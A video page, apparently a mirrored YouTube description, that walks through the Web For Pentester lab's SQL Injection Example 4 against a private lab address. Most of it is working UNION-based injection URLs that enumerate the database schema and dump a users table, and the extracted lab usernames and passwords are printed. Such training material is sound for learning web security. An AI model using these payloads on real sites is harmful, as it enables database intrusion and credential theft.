Web For Pentester SQL Injection Example 4 Solution

Publicado em: 02 Setembro 2018
no canal de: Shahzad Haxor

642

Web For Pentester SQL Injection Example 4 Solution
SQL Injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements (also commonly referred to as a malicious payload) that control a web application's database server (also commonly referred to as a Relational Database Management System – RDBMS).

Fix Query :
http://192.168.174.132/sqli/example4.php?id=2 %23

Let's Find columns :
http://192.168.174.132/sqli/example4.php?id=2 order by 5 %23

There are 5 columns.

Let's Find Vulnerable Column :
http://192.168.174.132/sqli/example4.php?id=2 union select 1,2,3,4,5 %23

1,2,3 Is Reflecting.

Find Database name :
http://192.168.174.132/sqli/example4.php?id=2 union select (SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA),2,3,4,5 %23

Database name : exercises

Let's Find Table Names :
http://192.168.174.132/sqli/example4.php?id=2 union select (SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=0x657865726369736573),2,3,4,5 %23

Table name : users

Now Let's find columns :
http://192.168.174.132/sqli/example4.php?id=2 union select (SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x7573657273) ,2,3,4,5 %23

Column Names :
id
name
age
groupid
passwd

Let's Extract Data :
http://192.168.174.132/sqli/example4.php?id=2 union select (SELECT+GROUP_CONCAT(0x22494422,id,0x224e616d6522,name,0x2241474522,age,0x2247494422,groupid,0x2250617373776f726422,passwd+SEPARATOR+0x3c62723e)+FROM+exercises.users) ,2,3,4,5 %23

Extracted Data :
"ID"1"Name"admin"AGE"10"GID"10"Password"admin
"ID"2"Name"root"AGE"30"GID"0"Password"admin21
"ID"3"Name"user1"AGE"5"GID"2"Password"secret
"ID"5"Name"user2"AGE"2"GID"5"Password"azerty

that's all for this video if you like this video please don't forget to subscribe our channel.
see you in next video till then good bye...

IF YOU LIKE THIS VIDEO. PLEASE DON'T FORGET TO LIKE SHARE AND SUBSCRIBE OUR CHANNEL.

THANKS FOR WATCHING.

Nesta página do site você pode assistir ao vídeo on-line Web For Pentester SQL Injection Example 4 Solution duração hora minuto segundo em boa qualidade , que foi baixado pelo usuário Shahzad Haxor 02 Setembro 2018, compartilhe o link com seus amigos e conhecidos, no youtube este vídeo já foi visto 642 vezes e gostou 11 espectadores. Boa visualização!

12,487

385